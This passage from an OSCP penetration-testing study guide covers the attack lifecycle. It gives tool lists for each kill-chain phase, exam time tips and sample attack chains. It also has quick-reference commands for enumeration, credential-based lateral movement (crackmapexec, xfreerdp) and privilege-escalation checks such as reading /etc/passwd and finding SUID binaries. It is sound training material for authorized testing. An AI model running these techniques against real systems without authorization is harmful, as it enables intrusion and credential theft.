└── Fingerprinting: whatweb, wappalyzer, nikto
WEAPONIZATION TOOLS:
├── Payload Gen: msfvenom, Donut, Veil-Evasion
├── Encoding: msfvenom encoders, UPX
└── Custom: Python scripts, shellcode generators
DELIVERY TOOLS:
├── Phishing: SET, gophish
├── Web Upload: curl, wget, python http.server
└── Physical: USB tools, ISO creators
EXPLOITATION TOOLS:
├── Frameworks: Metasploit, Cobalt Strike
├── Web: Burp Suite, sqlmap, OWASP ZAP
├── Auth: hydra, medusa, john, hashcat
└── Database: searchsploit, Exploit-DB
POST-EXPLOITATION TOOLS:
├── Enumeration: linpeas, winPEAS, linux-smart-enumeration
├── Credentials: mimikatz, secretsdump.py, crackmapexec
├── Lateral: psexec, wmiexec, ssh, xfreerdp
└── Privilege Escalation: GTFOBins, Windows-Exploit-Suggester
C2 TOOLS:
├── Frameworks: Metasploit, Sliver, Cobalt Strike, Empire
├── Tunneling: chisel, ssh, frp, ligolo-ng
└── DNS: iodine, dnscat2
EXFILTRATION TOOLS:
├── Transfer: netcat, curl, wget, scp, ftp
├── Archive: tar, 7z, zip
└── Encoding: base64, xxd
8. Exam Tips
Time Management Strategy
Exam Duration: 23 Hours + 1 Hour for VPN connection
Recommended Time Allocation:
┌─────────────────────────────────────────────────────────────┐
│ HOURS 0-2: Initial Reconnaissance (all targets) │
│ HOURS 2-8: Initial Access (get foothold on each machine) │
│ HOURS 8-14: Privilege Escalation (user → root/admin) │
│ HOURS 14-18: Lateral Movement (pivot between machines) │
│ HOURS 18-20: Final Objectives (capture remaining flags) │
│ HOURS 20-23: Report Writing and Review │
└─────────────────────────────────────────────────────────────┘
Kill Chain Efficiency Tips
Reconnaissance:
- Run broad scans in parallel using background jobs
- Focus deep scans only on targets with interesting services
- Document EVERYTHING — your enumeration notes are your best friend
- Use
nmap -oAto save all output formats at once
Weaponization:
- Pre-generate common payloads before the exam starts
- Keep a template for msfvenom commands
- Have both staged and stageless payloads ready
Exploitation:
- Start with the easiest target first (builds confidence and momentum)
- Use Metasploit for reliability, but have manual exploits as backup
- If an exploit fails, move on — don’t spend more than 1-2 hours on one vector
- Always try default credentials before complex exploits
Post-Exploitation:
- Upload enumeration scripts immediately after getting a shell
- Run
sudo -l(Linux) andwhoami /all(Windows) as first post-exploitation steps - Check for easy wins: SUID binaries, writable files, unquoted service paths
- Use GTFOBins for Linux privilege escalation ideas
Lateral Movement:
- Reuse credentials found on one machine for others
- Check SSH authorized_keys, bash_history, and config files
- Use found passwords against other services (password reuse is common)
Documentation:
- Take screenshots at EVERY step (required for the report)
- Save command outputs to files
- Note the IP, vulnerability, exploit, and payload for each machine
- Keep a running log of your progress
Common Exam Kill Chain Patterns
Pattern 1: Web App → Local Privesc
Recon → Web Vuln → Web Shell → User Shell → SUID/Sudo → Root
Pattern 2: Service Exploit → Credential Reuse
Recon → Service Vuln → Meterpreter → Credential Dump → SSH to Next → Privesc
Pattern 3: Brute Force → Privilege Escalation
Recon → Brute Force SSH/SMB → User Shell → Kernel Exploit → Root
Pattern 4: Database → Web → System
Recon → Database Access → Write Web Shell → User Shell → Privesc → Root
Pattern 5: Client-Side → Network Pivot
Recon → Client-Side Attack → User Shell → Network Discovery → Pivot → Admin
Quick Reference Commands for Exam
# Essential enumeration (run on every new shell)
# Linux:
id; uname -a; cat /etc/passwd; sudo -l; find / -perm -4000 -type f 2>/dev/null; crontab -l; cat /etc/crontab
# Windows:
whoami /all; systeminfo; net user; net group "Administrators"; dir C:\Users\; schtasks /query /fo LIST /v
# Essential lateral movement:
ssh user@<IP>
xfreerdp /v:<IP> /u:user /p:pass
crackmapexec smb <IP> -u user -p pass
# Essential privilege escalation checks:
# Linux:
sudo -l
find / -perm -4000 2>/dev/null
find / -writable -type d 2>/dev/null
cat /etc/crontab
ls -la /etc/cron.*
# Windows:
accesschk.exe -ucqv SYSTEM
accesschk.exe -uwcqv * <service_path>
icacls "C:\path\to\file"
9. Cross-References
Related Topics in This Study Guide
| Topic | Chapter | Relationship |
|---|---|---|
| Reconnaissance Fundamentals | 03 | Detailed reconnaissance techniques and tools |
| Vulnerability Scanning | 04 | Automated vulnerability discovery |
| Introduction to Web Applications | 05 | Web app attack surface understanding |
| Common Web Attacks | 06 | Web exploitation techniques |
| SQL Injection | 07 | Database exploitation |
| Client-Side Attacks | 08 | Delivery phase techniques |
| Locating Exploits | 09 | Exploit research and selection |
| Fixing Exploits | 10 | Exploit modification and debugging |
| AV Evasion | 11 | Weaponization evasion techniques |
| Password Attacks | 12 | Credential access techniques |
| Linux Privilege Escalation | 14 | Post-exploitation on Linux |
| Advanced Tunneling | 15 | C2 and pivoting techniques |
| Metasploit | 16 | Exploitation framework deep dive |
| AD Introduction & Enumeration | 17 | Active Directory reconnaissance |
| AD Authentication | 18 | AD credential attacks |
External Resources
| Resource | URL | Description |
|---|---|---|
| MITRE ATT&CK | https://attack.mitre.org | Complete ATT&CK matrix and techniques |
| Cyber Kill Chain | https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html | Original Kill Chain whitepaper |
| ATT&CK Navigator | https://mitre-attack.github.io/attack-navigator | Interactive ATT&CK matrix visualization |
| Exploit-DB | https://www.exploit-db.com | Exploit database |
| GTFOBins | https://gtfobins.github.io | Linux privilege escalation via binaries |
| PayloadAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | Comprehensive payload repository |
| Red Team Notes | https://www.ired.team | Red team technique reference |
| HackTricks | https://book.hacktricks.xyz | Comprehensive hacking wiki |
Summary
The Attack Lifecycle provides the structural framework for understanding how attacks progress from initial reconnaissance to objective completion. For OSCP:
- The exam IS a kill chain exercise — you execute reconnaissance, weaponization, exploitation, post-exploitation, and objective capture against multiple targets
- Speed matters — efficient progression through each phase is critical within the 23-hour window
- Documentation is part of the kill chain — every step must be recorded for the report
- ATT&CK provides the vocabulary — understanding technique IDs helps structure your thinking and reporting
- The Kill Chain provides the structure — knowing which phase you’re in helps you stay organized and not miss steps
Master the kill chain, and you master the OSCP exam methodology.